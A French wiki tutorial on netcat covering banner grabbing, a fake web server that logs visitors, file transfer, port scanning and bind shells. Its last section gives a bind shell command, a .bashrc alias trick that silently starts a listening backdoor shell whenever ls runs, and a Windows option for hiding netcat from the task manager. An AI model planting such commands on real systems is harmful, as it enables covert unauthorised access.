Netcat

De SeRoM - Wiki
Aller à : navigation, rechercher

Netcat Client

permet de se connecter a un socket, exemple :

nc -vv ftp.oleane.fr 21 : connection a un server ftp ici (vv permet d avoir des details sur la connection)

ou encore :

 netcat xen-lo.no-ip.org 80

une fois connecté on tape la commande : GET voici le resultat


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://localhost.localdomain/apache2-default/">here</a>.</p>
<hr>
<address>Apache/2.0.54 (Debian GNU/Linux) PHP/5.1.6-1~bpo.1 Server at localhost.localdomain Port 80</address>
</body></html>


(ce qui peut s'averer utile pour receuillir des info sur le server web : Apache/2.0.54 (Debian GNU/Linux) PHP/5.1.6-1~bpo.1


Netcat Server

dialoguer via netcat :

 nc -l -p 69  

lance un serveur sur le port 69 (-l = listen)

nc 192.168.1.2 -p 69   

se connecte au server, on obtien donc un canal de communication


nc -l -p 69 -w 10

la connection ne dure que 10 seconde


creer un faux server web

nc -l -p 80 -vv > log.txt  

permet de creer un socket sur le port 80 et de rediriger les donnée recue dans log.txt, on pourra par exemple recuperer l'ip de quelqu'un allant sur le server avec un browser

exemple des infos que l'on peut recuperer : cat log.txt

GET / HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; fr; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

transfert de fichier

le server attends une image :

nc -vv -l -p 700 > img.jpg  : attends une image sur le port 700

le client envoie une image :

nc -vv 192.168.1.2 -p 700 < img.jpg  :  le client envoie une image sur le port 700


port scan

 nc 192.168.1.2 1-100 -w 1 -vv  

netcat va esseyer de se connecter aux port entre 1 et 100 de l adresse ip 192.168.1.2 pendant 1 seconde de connection


 nc 192.168.1.2 1-100 -w 1 -i 100000 -vv  

permet de specifier un interval de temps entre chaque port


 nc 192.168.1.2 1-100 -r -w 1 -vv  

permet de scanner les port aleatoirement


Shell binding

netcat peut permettre de creer un acces au shell en ajoutant l'option -e exemple :

 nc -l -p 10000 -e /bin/bash

apres la connection d'un client, netcat va lier le client a l application specifier. (peux eventuelment servir backdoor ... exemple :

echo "alias ls=ls && nc -l p 12345 -e /bin/sh&" >> ~./.bashrc 

l'utilisateur lancera une backdoor (un shell qui attend une connection sur le port 12345) apres avoir fait un ls ... )


remarque : sous windows, l'option -d permet de cacher l'application du gestionnaire des taches.


netcat peut aussi permettre de se connecter a un application via un certain port. exemple :

 nc -vvv irc.worldnet.net 6667 -p 60000   

se connectera au server irc 6667 a partir de notre port 60000 .